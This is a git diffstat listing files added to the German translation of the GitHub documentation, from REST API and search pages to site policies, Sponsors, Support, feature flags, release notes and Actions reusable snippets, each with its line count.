 translations/de-DE/content/rest/scim.md       |   55 +
 translations/de-DE/content/rest/search.md     |  172 ++
 .../de-DE/content/rest/secret-scanning.md     |   29 +
 .../content/rest/teams/discussion-comments.md |   25 +
 .../de-DE/content/rest/teams/discussions.md   |   25 +
 .../content/rest/teams/external-groups.md     |   29 +
 .../de-DE/content/rest/teams/index.md         |   29 +
 .../de-DE/content/rest/teams/members.md       |   31 +
 .../de-DE/content/rest/teams/team-sync.md     |   22 +
 .../de-DE/content/rest/teams/teams.md         |   21 +
 .../de-DE/content/rest/users/blocking.md      |   20 +
 .../de-DE/content/rest/users/emails.md        |   22 +
 .../de-DE/content/rest/users/followers.md     |   21 +
 .../de-DE/content/rest/users/gpg-keys.md      |   23 +
 .../de-DE/content/rest/users/index.md         |   30 +
 translations/de-DE/content/rest/users/keys.md |   22 +
 .../content/rest/users/ssh-signing-keys.md    |   21 +
 .../de-DE/content/rest/users/users.md         |   21 +
 .../de-DE/content/rest/webhooks/index.md      |   84 +
 .../content/rest/webhooks/repo-config.md      |   20 +
 .../content/rest/webhooks/repo-deliveries.md  |   20 +
 .../de-DE/content/rest/webhooks/repos.md      |   20 +
 .../about-searching-on-github.md              |   95 ++
 ...rom-your-private-enterprise-environment.md |   33 +
 .../index.md                                  |   28 +
 .../sorting-search-results.md                 |   81 +
 .../troubleshooting-search-queries.md         |   40 +
 .../understanding-the-search-syntax.md        |  104 ++
 .../de-DE/content/search-github/index.md      |   49 +
 .../finding-files-on-github.md                |   74 +
 .../searching-on-github/index.md              |   34 +
 .../searching-on-github/searching-code.md     |  121 ++
 .../searching-on-github/searching-commits.md  |  121 ++
 .../searching-discussions.md                  |  100 ++
 .../searching-for-packages.md                 |   45 +
 .../searching-for-repositories.md             |  206 +++
 .../searching-github-marketplace.md           |   48 +
 .../searching-on-github/searching-in-forks.md |   38 +
 .../searching-issues-and-pull-requests.md     |  359 ++++
 .../searching-on-github/searching-topics.md   |   60 +
 .../searching-on-github/searching-users.md    |  112 ++
 .../searching-on-github/searching-wikis.md    |   57 +
 translations/de-DE/content/search/index.md    |   16 +
 .../github-acceptable-use-policies.md         |  119 ++
 .../github-active-malware-or-exploits.md      |   32 +
 .../github-appeal-and-reinstatement.md        |   43 +
 .../github-bullying-and-harassment.md         |   28 +
 ...isrupting-the-experience-of-other-users.md |   32 +
 .../github-doxxing-and-invasion-of-privacy.md |   35 +
 .../github-hate-speech-and-discrimination.md  |   29 +
 .../github-impersonation.md                   |   28 +
 ...ithub-misinformation-and-disinformation.md |   26 +
 .../github-sexually-obscene-content.md        |   25 +
 ...olence-and-gratuitously-violent-content.md |   26 +
 .../acceptable-use-policies/index.md          |   27 +
 .../dmca-takedown-policy.md                   |  129 ++
 ...thub-private-information-removal-policy.md |   97 ++
 .../github-trademark-policy.md                |   59 +
 ...ide-to-submitting-a-dmca-counter-notice.md |   88 +
 ...de-to-submitting-a-dmca-takedown-notice.md |  100 ++
 .../content-removal-policies/index.md         |   22 +
 .../submitting-content-removal-requests.md    |   34 +
 .../github-anti-bribery-statement.md          |   64 +
 .../github-gifts-and-entertainment-policy.md  |   73 +
 .../github-gpl-cooperation-commitment.md      |   42 +
 ...-against-modern-slavery-and-child-labor.md |  116 ++
 .../github-company-policies/index.md          |   20 +
 .../github-community-code-of-conduct.md       |  123 ++
 .../github-community-guidelines.md            |   85 +
 .../github-corporate-terms-of-service.md      |  324 ++++
 .../github-event-code-of-conduct.md           |   58 +
 .../github-terms/github-event-terms.md        |   65 +
 .../github-marketplace-developer-agreement.md |  279 +++
 .../github-marketplace-terms-of-service.md    |   96 ++
 ...ource-applications-terms-and-conditions.md |   72 +
 .../github-registered-developer-agreement.md  |  130 ++
 .../github-research-program-terms.md          |   72 +
 .../github-sponsors-additional-terms.md       |  209 +++
 ...ms-for-additional-products-and-features.md |  146 ++
 .../github-terms/github-terms-of-service.md   |  321 ++++
 .../content/site-policy/github-terms/index.md |   29 +
 .../de-DE/content/site-policy/index.md        |   28 +
 .../github-and-trade-controls.md              |  117 ++
 .../github-deceased-user-policy.md            |   32 +
 .../github-government-takedown-policy.md      |   45 +
 .../other-site-policies/github-logo-policy.md |   23 +
 .../github-username-policy.md                 |   34 +
 ...delines-for-legal-requests-of-user-data.md |  252 +++
 .../site-policy/other-site-policies/index.md  |   22 +
 .../github-candidate-privacy-policy.md        |   82 +
 .../github-codespaces-privacy-statement.md    |   28 +
 .../github-privacy-statement.md               |  394 +++++
 .../github-subprocessors-and-cookies.md       |   41 +
 .../global-privacy-practices.md               |   76 +
 .../site-policy/privacy-policies/index.md     |   21 +
 ...-disclosure-of-security-vulnerabilities.md |   27 +
 ...ub-bug-bounty-program-legal-safe-harbor.md |   42 +
 .../site-policy/security-policies/index.md    |   18 +
 ...plicable-to-us-federal-government-users.md |   76 +
 .../github-ae-data-protection-agreement.md    |  407 +++++
 .../github-ae-product-specific-terms.md       |   66 +
 ...b-enterprise-cloud-evaluation-agreement.md |   57 +
 ...hub-enterprise-server-license-agreement.md |  193 +++
 ...thub-enterprise-service-level-agreement.md |   41 +
 ...ithub-enterprise-subscription-agreement.md |  457 +++++
 ...al-terms-for-microsoft-volume-licensing.md |  327 ++++
 .../site-policy-deprecated/index.md           |   25 +
 .../about-github-sponsors.md                  |   58 +
 .../index.md                                  |   18 +
 ...art-for-finding-contributors-to-sponsor.md |   58 +
 translations/de-DE/content/sponsors/guides.md |   25 +
 translations/de-DE/content/sponsors/index.md  |   51 +
 ...ks-for-events-in-your-sponsored-account.md |   28 +
 ...g-started-with-the-sponsors-graphql-api.md |   21 +
 .../integrating-with-github-sponsors/index.md |   18 +
 ...b-sponsors-for-open-source-contributors.md |   53 +
 .../contacting-your-sponsors.md               |   29 +
 .../disabling-your-github-sponsors-account.md |   31 +
 ...our-profile-details-for-github-sponsors.md |   32 +
 .../index.md                                  |   33 +
 ...aging-your-payouts-from-github-sponsors.md |   30 +
 .../managing-your-sponsorship-goal.md         |   42 +
 .../managing-your-sponsorship-tiers.md        |   97 ++
 ...p-github-sponsors-for-your-organization.md |   98 ++
 ...thub-sponsors-for-your-personal-account.md |   95 ++
 .../tax-information-for-github-sponsors.md    |   81 +
 ...publishing-your-github-sponsors-profile.md |   29 +
 ...host-to-receive-github-sponsors-payouts.md |   43 +
 .../viewing-your-sponsors-and-sponsorships.md |   68 +
 ...uting-sponsorships-to-your-organization.md |   31 +
 .../index.md                                  |   24 +
 .../managing-your-sponsorship.md              |   39 +
 .../paying-for-github-sponsors-by-invoice.md  |   26 +
 .../sponsoring-an-open-source-contributor.md  |   83 +
 .../creating-a-support-ticket.md              |  113 ++
 .../contacting-github-support/index.md        |   25 +
 .../providing-data-to-github-support.md       |  184 ++
 .../viewing-and-updating-support-tickets.md   |   69 +
 translations/de-DE/content/support/index.md   |   40 +
 .../about-github-premium-support.md           |  144 ++
 .../about-github-support.md                   |  200 +++
 .../about-ticket-priority.md                  |   82 +
 .../github-marketplace-support.md             |   33 +
 .../learning-about-github-support/index.md    |   25 +
 .../GH-advisory-db-erlang-support.yml         |    7 +
 .../GH-advisory-db-supports-malware.yml       |    6 +
 translations/de-DE/data/features/README.md    |   53 +
 .../actions-cache-list-delete-apis.yml        |    8 +
 .../features/actions-cache-management.yml     |    7 +
 .../features/actions-cache-policy-apis.yml    |    5 +
 .../de-DE/data/features/actions-caching.yml   |    7 +
 .../data/features/actions-hosted-runners.yml  |    5 +
 ...ons-inherit-secrets-reusable-workflows.yml |    7 +
 .../data/features/actions-job-summaries.yml   |    7 +
 .../data/features/actions-node16-action.yml   |    7 +
 .../actions-oidc-hardening-config.yml         |    6 +
 .../actions-reusable-workflow-matrix.yml      |    7 +
 .../features/actions-runner-arch-envvars.yml  |    7 +
 .../features/actions-stable-actor-ids.yml     |    7 +
 .../features/actions-starter-template-ui.yml  |    7 +
 .../data/features/actions-unified-inputs.yml  |    6 +
 .../data/features/actions-workflow-policy.yml |    5 +
 ...ow-actions-to-approve-pr-with-ent-repo.yml |    7 +
 .../features/allow-actions-to-approve-pr.yml  |    7 +
 .../features/audit-data-retention-tab.yml     |    5 +
 .../audit-log-sso-response-events.yml         |    6 +
 .../data/features/audit-log-streaming.yml     |    5 +
 .../autolink-reference-alphanumeric.yml       |    7 +
 .../de-DE/data/features/blame-ignore-revs.yml |    6 +
 .../features/build-pages-with-actions.yml     |    5 +
 .../features/bypass-branch-protections.yml    |    7 +
 ...-visibility-permissions-or-projects-v2.yml |    7 +
 ...classic-project-visibility-permissions.yml |    7 +
 ...scanning-exclude-queries-from-analysis.yml |    7 +
 .../code-scanning-pr-conversations-tab.yml    |    5 +
 .../features/code-scanning-task-lists.yml     |    4 +
 .../de-DE/data/features/codeowners-errors.yml |    5 +
 .../features/codeql-action-debug-logging.yml  |    7 +
 .../de-DE/data/features/codeql-ml-queries.yml |    6 +
 .../de-DE/data/features/codeql-packs.yml      |    5 +
 .../data/features/codeql-runner-supported.yml |    5 +
 .../de-DE/data/features/command-palette.yml   |    5 +
 .../comment-dismissed-code-scanning-alert.yml |    5 +
 .../de-DE/data/features/commit-signoffs.yml   |    5 +
 .../de-DE/data/features/commit-tree-view.yml  |    7 +
 .../de-DE/data/features/container-hooks.yml   |    6 +
 translations/de-DE/data/features/copilot.yml  |    3 +
 .../features/create-branch-from-overview.yml  |    5 +
 .../features/custom-pattern-dry-run-ga.yml    |    5 +
 .../data/features/custom-repository-roles.yml |    4 +
 .../de-DE/data/features/debug-reruns.yml      |    7 +
 .../default-merge-squash-commit-message.yml   |    7 +
 .../features/delete-code-scanning-alerts.yml  |    5 +
 .../dependabot-alerts-development-label.yml   |    7 +
 .../dependabot-alerts-dismissal-comment.yml   |    7 +
 .../dependabot-alerts-vulnerable-calls.yml    |    5 +
 .../data/features/dependabot-bulk-alerts.yml  |    6 +
 .../dependabot-grouped-dependencies.yml       |    7 +
 .../dependabot-most-important-sort-option.yml |    7 +
 .../dependabot-settings-update-37.yml         |    6 +
 .../dependabot-updates-github-connect.yml     |    3 +
 .../dependency-graph-rust-support.yml         |    6 +
 ...dependency-review-action-configuration.yml |    6 +
 .../dependency-review-action-ghes.yml         |    4 +
 .../dependency-review-action-licenses.yml     |    4 +
 .../features/dependency-submission-api.yml    |    7 +
 .../data/features/device-flow-is-opt-in.yml   |    6 +
 .../de-DE/data/features/discussions.yml       |    4 +
 .../docker-ghcr-enterprise-migration.yml      |    4 +
 .../de-DE/data/features/enable-git-events.yml |    5 +
 .../enterprise-audit-log-ip-addresses.yml     |    4 +
 ...nterprise-membership-view-improvements.yml |    4 +
 .../enterprise-namespace-repo-setting.yml     |    6 +
 .../features/enterprise-owner-join-org.yml    |    4 +
 ...erprise-owners-visible-for-org-members.yml |    6 +
 .../file-finder-exclusion-controls.yml        |    7 +
 .../features/fixed-width-font-gfm-fields.yml  |    7 +
 .../de-DE/data/features/for-you-feed.yml      |    6 +
 .../data/features/geoJSON-with-MapBox.yml     |    5 +
 .../features/ghas-committers-calculator.yml   |    2 +
 .../data/features/ghas-enablement-webhook.yml |    5 +
 .../data/features/ghe-announce-dismiss.yml    |    5 +
 .../data/features/git-events-audit-log.yml    |    6 +
 .../github-actions-in-dependency-graph.yml    |    7 +
 .../data/features/github-runner-dashboard.yml |    3 +
 .../de-DE/data/features/githubdev-editor.yml  |    5 +
 .../features/innersource-fork-policies.yml    |    7 +
 ...tegration-branch-protection-exceptions.yml |    7 +
 .../de-DE/data/features/internal-actions.yml  |    4 +
 .../features/ip-allow-list-address-check.yml  |    3 +
 .../de-DE/data/features/ip-exception-list.yml |    2 +
 .../data/features/issue-close-reasons.yml     |    7 +
 .../data/features/job-hooks-for-runners.yml   |    7 +
 ...eyboard-shortcut-accessibility-setting.yml |    7 +
 .../data/features/math-fenced-blocks.yml      |    7 +
 translations/de-DE/data/features/math.yml     |    7 +
 translations/de-DE/data/features/mermaid.yml  |    7 +
 .../de-DE/data/features/motion-management.yml |    7 +
 .../multiple-accounts-one-workstation.yml     |    6 +
 .../features/nested-reusable-workflow.yml     |    7 +
 .../de-DE/data/features/oidc-for-emu.yml      |    5 +
 .../only-notify-requested-members.yml         |    7 +
 .../data/features/org-profile-pin-private.yml |    7 +
 .../de-DE/data/features/packages-npm-v2.yml   |    5 +
 .../data/features/pages-custom-workflow.yml   |    5 +
 .../features/partial-reruns-with-reusable.yml |    6 +
 .../data/features/pause-audit-log-stream.yml  |    4 +
 .../de-DE/data/features/placeholder.yml       |    5 +
 .../de-DE/data/features/pr-tree-view.yml      |    7 +
 ...ent-org-admin-add-outside-collaborator.yml |    4 +
 .../data/features/previous-release-tag.yml    |    7 +
 .../data/features/project-beta-webhooks.yml   |    5 +
 .../data/features/projects-oauth-scope.yml    |    5 +
 .../de-DE/data/features/projects-v1.yml       |    8 +
 .../de-DE/data/features/projects-v2.yml       |    6 +
 .../features/pull-request-approval-limit.yml  |    5 +
 .../push-protection-custom-link-orgs-beta.yml |    8 +
 .../push-protection-custom-link-orgs.yml      |    8 +
 .../de-DE/data/features/re-run-jobs.yml       |    7 +
 .../features/remove-enterprise-members.yml    |    3 +
 .../features/reopen-dependabot-alerts.yml     |    6 +
 .../data/features/require-tls-for-smtp.yml    |    4 +
 .../data/features/required-deployments.yml    |    7 +
 .../features/restrict-groups-to-workflows.yml |    6 +
 .../restrict-pushes-create-branch.yml         |    7 +
 .../secret-scanning-alert-audit-log.yml       |    6 +
 ...ret-scanning-audit-log-custom-patterns.yml |    6 +
 .../secret-scanning-custom-enterprise-35.yml  |    6 +
 .../secret-scanning-custom-enterprise-36.yml  |    6 +
 ...cret-scanning-push-protection-bypasses.yml |    6 +
 .../secret-scanning-push-protection-email.yml |    6 +
 ...secret-scanning-push-protection-web-ui.yml |    6 +
 .../secret-scanning-push-protection.yml       |    6 +
 .../security-advisories-ghes-ghae.yml         |    4 +
 .../de-DE/data/features/security-managers.yml |    7 +
 .../security-overview-displayed-alerts.yml    |    6 +
 ...y-overview-feature-specific-alert-page.yml |    7 +
 .../de-DE/data/features/server-statistics.yml |    4 +
 .../data/features/ssh-commit-verification.yml |    8 +
 .../de-DE/data/features/streaming-datadog.yml |    4 +
 .../de-DE/data/features/streaming-oidc-s3.yml |    4 +
 .../de-DE/data/features/svg-support.yml       |    5 +
 .../data/features/syncing-fork-web-ui.yml     |    7 +
 .../totp-and-mobile-sudo-challenge.yml        |    6 +
 .../upload-expired-or-revoked-gpg-key.yml     |    8 +
 translations/de-DE/data/glossaries/README.md  |   16 +
 .../de-DE/data/glossaries/candidates.yml      |  101 ++
 .../de-DE/data/glossaries/external.yml        |  788 +++++++++
 .../de-DE/data/learning-tracks/README.md      |   64 +
 .../de-DE/data/learning-tracks/actions.yml    |   64 +
 .../de-DE/data/learning-tracks/admin.yml      |  139 ++
 .../data/learning-tracks/code-security.yml    |  131 ++
 .../de-DE/data/product-examples/README.md     |   50 +
 .../code-security/code-examples.yml           |   86 +
 .../codespaces/code-examples.yml              |   36 +
 .../discussions/community-examples.yml        |   37 +
 .../sponsors/user-examples.yml                |   19 +
 .../enterprise-server/3-3/0-rc1.yml           |  299 ++++
 .../release-notes/enterprise-server/3-3/0.yml |  305 ++++
 .../release-notes/enterprise-server/3-3/1.yml |   17 +
 .../enterprise-server/3-3/10.yml              |   22 +
 .../enterprise-server/3-3/11.yml              |   30 +
 .../enterprise-server/3-3/12.yml              |   23 +
 .../enterprise-server/3-3/13.yml              |   23 +
 .../release-notes/enterprise-server/3-3/2.yml |   32 +
 .../release-notes/enterprise-server/3-3/3.yml |   30 +
 .../release-notes/enterprise-server/3-3/4.yml |   25 +
 .../release-notes/enterprise-server/3-3/5.yml |   19 +
 .../release-notes/enterprise-server/3-3/6.yml |   50 +
 .../release-notes/enterprise-server/3-3/7.yml |   32 +
 .../release-notes/enterprise-server/3-3/8.yml |   34 +
 .../release-notes/enterprise-server/3-3/9.yml |   26 +
 .../enterprise-server/3-4/0-rc1.yml           |  286 ++++
 .../release-notes/enterprise-server/3-4/0.yml |  314 ++++
 .../release-notes/enterprise-server/3-4/1.yml |  105 ++
 .../release-notes/enterprise-server/3-4/2.yml |   86 +
 .../release-notes/enterprise-server/3-4/3.yml |   40 +
 .../release-notes/enterprise-server/3-4/4.yml |   31 +
 .../release-notes/enterprise-server/3-4/5.yml |   30 +
 .../release-notes/enterprise-server/3-4/6.yml |   34 +
 .../release-notes/enterprise-server/3-4/7.yml |   26 +
 .../release-notes/enterprise-server/3-4/8.yml |   26 +
 .../enterprise-server/3-5/0-rc1.yml           |  421 +++++
 .../release-notes/enterprise-server/3-5/4.yml |   30 +
 .../release-notes/enterprise-server/3-5/5.yml |   27 +
 .../enterprise-server/3-6/0-rc1.yml           |  298 ++++
 .../release-notes/enterprise-server/3-6/1.yml |   33 +
 .../release-notes/enterprise-server/README.md |   45 +
 .../data/release-notes/github-ae/README.md    |   43 +
 .../accounts/accounts-billed-separately.md    |    9 +
 .../data/reusables/accounts/create-account.md |   10 +
 .../accounts/create-personal-access-tokens.md |    9 +
 .../accounts/you-must-know-your-password.md   |    9 +
 .../actions/about-actions-for-enterprises.md  |    1 +
 .../data/reusables/actions/about-actions.md   |    9 +
 .../actions/about-artifact-log-retention.md   |   18 +
 .../data/reusables/actions/about-artifacts.md |    9 +
 .../reusables/actions/about-environments.md   |    9 +
 .../actions/about-oidc-short-overview.md      |   10 +
 .../reusables/actions/about-runner-groups.md  |   23 +
 .../data/reusables/actions/about-runners.md   |    9 +
 .../data/reusables/actions/about-secrets.md   |    9 +
 .../actions/about-self-hosted-runners.md      |    9 +
 .../data/reusables/actions/about-triggers.md  |   16 +
 .../reusables/actions/about-workflow-jobs.md  |    9 +
 .../reusables/actions/about-workflow-runs.md  |    9 +
 .../reusables/actions/about-workflows-long.md |   11 +
 .../data/reusables/actions/about-workflows.md |    9 +
 .../actions/access-actions-on-dotcom.md       |    9 +
 .../data/reusables/actions/action-cache.md    |    9 +
 .../data/reusables/actions/action-checkout.md |    9 +
 .../actions/action-codeql-action-analyze.md   |    9 +
 .../actions/action-codeql-action-autobuild.md |    9 +
 .../actions/action-codeql-action-init.md      |    9 +
 .../action-codeql-action-upload-sarif.md      |    9 +
 .../actions/action-delete-package-versions.md |    9 +
 .../actions/action-download-artifact.md       |    9 +
 .../reusables/actions/action-github-script.md |    9 +
 .../data/reusables/actions/action-labeler.md  |    9 +
 .../reusables/actions/action-setup-dotnet.md  |    9 +
 .../data/reusables/actions/action-setup-go.md |    9 +
 .../reusables/actions/action-setup-java.md    |    9 +
 .../reusables/actions/action-setup-node.md    |    9 +
 .../reusables/actions/action-setup-python.md  |    9 +
 .../data/reusables/actions/action-stale.md    |    9 +
 .../actions/action-upload-artifact.md         |    9 +
 .../actions/actions-activity-types.md         |   30 +
 .../actions-app-actions-permissions-api.md    |    9 +
 .../actions-audit-events-for-enterprise.md    |   21 +
 .../actions/actions-audit-events-workflow.md  |   20 +
 .../actions/actions-authentication.md         |    9 +
 .../data/reusables/actions/actions-billing.md |    9 +
 .../actions/actions-bundled-with-ghes.md      |    9 +
 .../actions-do-not-trigger-workflows.md       |    9 +
 .../data/reusables/actions/actions-filters.md |   19 +
 .../actions/actions-group-concurrency.md      |   61 +
 .../actions/actions-multiple-types.md         |   26 +
 ...actions-not-certified-by-github-comment.md |   12 +
 .../reusables/actions/actions-not-verified.md |    9 +
 .../reusables/actions/actions-on-examples.md  |   27 +
 .../actions-packages-set-spending-limit.md    |    9 +
 .../actions/actions-spending-limit-brief.md   |    9 +
 .../actions-spending-limit-detailed.md        |   13 +
 .../actions/actions-unused-labels.md          |    9 +
 .../actions/actions-use-policy-settings.md    |   11 +
 .../actions-use-sha-pinning-comment.md        |   11 +
 .../actions/add-hosted-runner-overview.md     |   11 +
 .../reusables/actions/add-hosted-runner.md    |   19 +
 .../actions/allow-specific-actions-intro.md   |   34 +
 .../artifact-log-retention-statement.md       |    9 +
 ...utomatically-adding-a-runner-to-a-group.md |   19 +
 .../actions/autoscaling-parameters.md         |   11 +
 .../reusables/actions/branch-paths-filter.md  |    9 +
 .../reusables/actions/branch-requirement.md   |   13 +
 .../reusables/actions/cache-default-size.md   |    1 +
 .../actions/cache-eviction-process.md         |    9 +
 .../reusables/actions/cache-no-org-policy.md  |   13 +
 .../reusables/actions/caching-availability.md |    9 +
 .../reusables/actions/cd-templates-actions.md |   11 +
 .../actions/change-cache-size-limit.md        |   10 +
 ...nge-retention-period-for-artifacts-logs.md |   10 +
 ...ing-the-access-policy-of-a-runner-group.md |   38 +
 .../changing-the-name-of-a-runner-group.md    |    9 +
 .../actions/checkout-action-table-entry.md    |    9 +
 .../data/reusables/actions/choose-repo.md     |    9 +
 .../data/reusables/actions/commit-workflow.md |    9 +
 .../actions/comparing-artifacts-caching.md    |   14 +
 .../actions/concurrency-table-entry.md        |    9 +
 .../actions/configure-runner-group-access.md  |   14 +
 .../actions/configure-runner-group.md         |   10 +
 ...gure-storage-provider-platform-commands.md |   25 +
 .../actions/configure-storage-provider.md     |   39 +
 .../reusables/actions/contacting-support.md   |   17 +
 .../reusables/actions/container-jobs-intro.md |    9 +
 .../reusables/actions/context-contents.md     |    9 +
 .../reusables/actions/context-example-note.md |   13 +
 .../actions/context-injection-warning.md      |   13 +
 .../reusables/actions/copy-workflow-file.md   |    9 +
 .../actions/create-azure-app-plan.md          |   25 +
 .../actions/create-azure-publish-profile.md   |   13 +
 .../reusables/actions/create-runner-group.md  |    1 +
 ...eating-a-runner-group-for-an-enterprise.md |   28 +
 ...ting-a-runner-group-for-an-organization.md |   38 +
 .../reusables/actions/cron-table-entry.md     |    9 +
 .../reusables/actions/defaults-override.md    |    9 +
 .../data/reusables/actions/delete-env-key.md  |    9 +
 .../actions/disabled-actions-description.md   |    9 +
 .../actions/disabling-github-actions.md       |    1 +
 .../actions/docker-container-os-support.md    |   16 +
 .../actions/dockerfile-guidelines.md          |   11 +
 .../actions/enable-debug-logging-cli.md       |    9 +
 .../reusables/actions/enable-debug-logging.md |   11 +
 .../actions/enabled-actions-description.md    |    9 +
 .../actions/enterprise-billing-details.md     |    9 +
 .../actions/enterprise-common-prereqs.md      |    9 +
 .../actions/enterprise-enable-checkbox.md     |   10 +
 .../enterprise-github-hosted-runners.md       |   13 +
 .../actions/enterprise-http-proxy.md          |   14 +
 .../actions/enterprise-limit-actions-use.md   |    9 +
 .../actions/enterprise-marketplace-actions.md |    9 +
 .../actions/enterprise-no-internet-actions.md |    9 +
 .../enterprise-postinstall-nextsteps.md       |    3 +
 .../actions/enterprise-s3-permission.md       |   19 +
 .../actions/enterprise-s3-tech-partners.md    |   11 +
 .../actions/enterprise-self-signed-cert.md    |    9 +
 .../actions/enterprise-setup-prereq.md        |   15 +
 .../actions/enterprise-storage-ha-backups.md  |    9 +
 .../actions/environment-deployment-event.md   |    9 +
 .../reusables/actions/environment-example.md  |   53 +
 .../actions/example-diagram-intro.md          |    9 +
 .../actions/example-docs-engineering-intro.md |    9 +
 .../example-explanation-table-intro.md        |    9 +
 .../actions/example-github-runner.md          |   27 +
 .../reusables/actions/example-table-intro.md  |    9 +
 .../actions/example-workflow-intro-ci.md      |    9 +
 .../reusables/actions/explanation-name-key.md |    9 +
 .../reusables/actions/expression-syntax-if.md |    9 +
 .../data/reusables/actions/forked-secrets.md  |    9 +
 .../actions/forked-write-permission.md        |    9 +
 .../actions/general-security-hardening.md     |   11 +
 .../ghes-actions-not-enabled-by-default.md    |    9 +
 .../actions/github-connect-resolution.md      |    1 +
 .../actions/github-context-warning.md         |   13 +
 ...github-hosted-runners-check-concurrency.md |   13 +
 ...runners-navigate-to-repo-org-enterprise.md |   19 +
 .../github-hosted-runners-table-entry.md      |    9 +
 .../github-token-available-permissions.md     |   40 +
 .../actions/github-token-expiration.md        |    9 +
 .../actions/github-token-permissions.md       |    9 +
 .../actions/github_sha_description.md         |    9 +
 .../actions/github_token-input-example.md     |   26 +
 .../actions/gradle-workflow-steps.md          |   13 +
 .../actions/hardware-requirements-3.2.md      |   13 +
 .../actions/hardware-requirements-3.3.md      |   15 +
 .../actions/hardware-requirements-3.4.md      |   16 +
 .../actions/hardware-requirements-3.5.md      |   15 +
 .../actions/hardware-requirements-before.md   |   14 +
 ...ed-runner-configure-runner-group-access.md |   10 +
 ...sted-runner-labels-view-assigned-labels.md |   11 +
 .../actions/hosted-runner-list-group.md       |   11 +
 .../reusables/actions/hosted-runner-list.md   |    9 +
 .../hosted-runner-security-admonition.md      |   13 +
 .../actions/if-conditions-table-entry.md      |    9 +
 .../actions/inputs-vs-github-event-inputs.md  |   15 +
 .../actions/internal-actions-summary.md       |   10 +
 .../actions/introducing-enterprise.md         |    9 +
 .../actions/invalid-workflow-files.md         |   13 +
 .../ip-allow-list-self-hosted-runners.md      |   11 +
 .../actions/java-jvm-architecture.md          |   26 +
 .../actions/jobs/about-matrix-strategy.md     |    9 +
 .../actions/jobs/example-runs-on-groups.md    |   25 +
 .../jobs/example-runs-on-labels-and-groups.md |   28 +
 .../actions/jobs/matrix-add-with-include.md   |   37 +
 .../reusables/actions/jobs/matrix-exclude.md  |   30 +
 .../jobs/matrix-expand-with-include.md        |   30 +
 .../actions/jobs/matrix-from-context.md       |   38 +
 .../reusables/actions/jobs/matrix-include.md  |   46 +
 .../actions/jobs/multi-dimension-matrix.md    |   30 +
 ...-assigning-permissions-to-jobs-specific.md |   30 +
 .../section-assigning-permissions-to-jobs.md  |   28 +
 .../section-choosing-the-runner-for-a-job.md  |   67 +
 .../jobs/section-defining-outputs-for-jobs.md |   39 +
 ...running-jobs-in-a-container-credentials.md |   21 +
 ...section-running-jobs-in-a-container-env.md |    9 +
 ...ction-running-jobs-in-a-container-image.md |    9 +
 ...ion-running-jobs-in-a-container-options.md |   15 +
 ...ction-running-jobs-in-a-container-ports.md |    9 +
 ...ion-running-jobs-in-a-container-volumes.md |   24 +
 .../section-running-jobs-in-a-container.md    |   50 +
 ...g-a-build-matrix-for-your-jobs-failfast.md |   31 +
 ...build-matrix-for-your-jobs-max-parallel.md |   21 +
 .../jobs/section-using-concurrency-jobs.md    |   19 +
 .../actions/jobs/section-using-concurrency.md |   13 +
 ...ing-conditions-to-control-job-execution.md |   30 +
 .../section-using-environments-for-jobs.md    |   37 +
 .../section-using-jobs-in-a-workflow-id.md    |   21 +
 .../section-using-jobs-in-a-workflow-name.md  |    9 +
 .../section-using-jobs-in-a-workflow-needs.md |   42 +
 .../jobs/section-using-jobs-in-a-workflow.md  |   15 +
 ...efault-values-for-jobs-defaults-job-run.md |   25 +
 ...ng-default-values-for-jobs-defaults-job.md |   11 +
 ...ng-default-values-for-jobs-defaults-run.md |   20 +
 ...etting-default-values-for-jobs-defaults.md |   11 +
 .../actions/jobs/single-dimension-matrix.md   |   23 +
 .../actions/jobs/using-matrix-strategy.md     |   33 +
 .../actions/learn-more-about-yaml.md          |    9 +
 .../reusables/actions/learning-actions.md     |   12 +
 .../reusables/actions/macos-runner-preview.md |    9 +
 .../reusables/actions/make-workflow-file.md   |    9 +
 .../actions/matrix-variable-example.md        |   34 +
 .../actions/message-annotation-explanation.md |    9 +
 .../reusables/actions/message-parameters.md   |   16 +
 .../reusables/actions/migrating-enterprise.md |    9 +
 .../reusables/actions/minimum-hardware.md     |    9 +
 .../actions/more-resources-for-ghes.md        |   22 +
 .../actions/moving-a-runner-to-a-group.md     |   15 +
 .../reusables/actions/name-environment.md     |    9 +
 .../data/reusables/actions/new-environment.md |    9 +
 .../actions/note-understanding-example.md     |   13 +
 .../reusables/actions/oidc-link-to-intro.md   |    9 +
 .../actions/oidc-permissions-token.md         |   31 +
 .../reusables/actions/oidc-security-notice.md |    9 +
 .../oidc-updating-workflow-overview.md        |   14 +
 .../reusables/actions/on-multiple-example.md  |   15 +
 .../reusables/actions/on-single-example.md    |   13 +
 .../reusables/actions/output-limitations.md   |    9 +
 .../outside-collaborators-internal-actions.md |    9 +
 .../actions/partial-reruns-with-reusable.md   |   14 +
 .../pass-inputs-to-reusable-workflows.md      |   36 +
 .../permissions-statement-environment.md      |    9 +
 .../permissions-statement-secrets-api.md      |    9 +
 ...rmissions-statement-secrets-environment.md |    9 +
 ...missions-statement-secrets-organization.md |    9 +
 ...ermissions-statement-secrets-repository.md |    9 +
 .../actions/permissions-table-entry.md        |    9 +
 ...licy-label-for-select-actions-workflows.md |    9 +
 .../actions/postgres-environment-variables.md |    9 +
 .../actions/postgres-label-description.md     |    9 +
 .../private-repository-forks-configure.md     |    7 +
 .../private-repository-forks-options.md       |    4 +
 .../private-repository-forks-overview.md      |    9 +
 .../reusables/actions/proxy-considerations.md |    9 +
 .../actions/publish-to-maven-workflow-step.md |    9 +
 .../publish-to-packages-workflow-step.md      |    9 +
 .../actions/publishing-java-packages-intro.md |    9 +
 .../actions/pull-request-table-entry.md       |    9 +
 .../data/reusables/actions/pure-javascript.md |    9 +
 .../reusables/actions/push-table-entry.md     |    9 +
 .../actions/redis-environment-variables.md    |    9 +
 .../actions/redis-label-description.md        |    9 +
 .../data/reusables/actions/ref-description.md |    9 +
 .../reusables/actions/ref_name-description.md |    1 +
 .../actions/ref_protected-description.md      |    9 +
 .../reusables/actions/ref_type-description.md |    9 +
 .../reusables/actions/registry-credentials.md |    9 +
 .../actions/release-trigger-workflow.md       |    9 +
 .../actions/removing-a-runner-group.md        |   16 +
 .../actions/reusable-workflow-artifacts.md    |    3 +
 .../reusable-workflow-calling-syntax.md       |    4 +
 .../actions/reusable-workflows-ghes-beta.md   |    9 +
 .../reusables/actions/reusable-workflows.md   |    4 +
 .../reusables/actions/run_id_description.md   |    9 +
 .../actions/run_number_description.md         |    9 +
 .../actions/runner-app-open-source.md         |    9 +
 .../actions/runner-arch-description.md        |    9 +
 .../actions/runner-debug-description.md       |    9 +
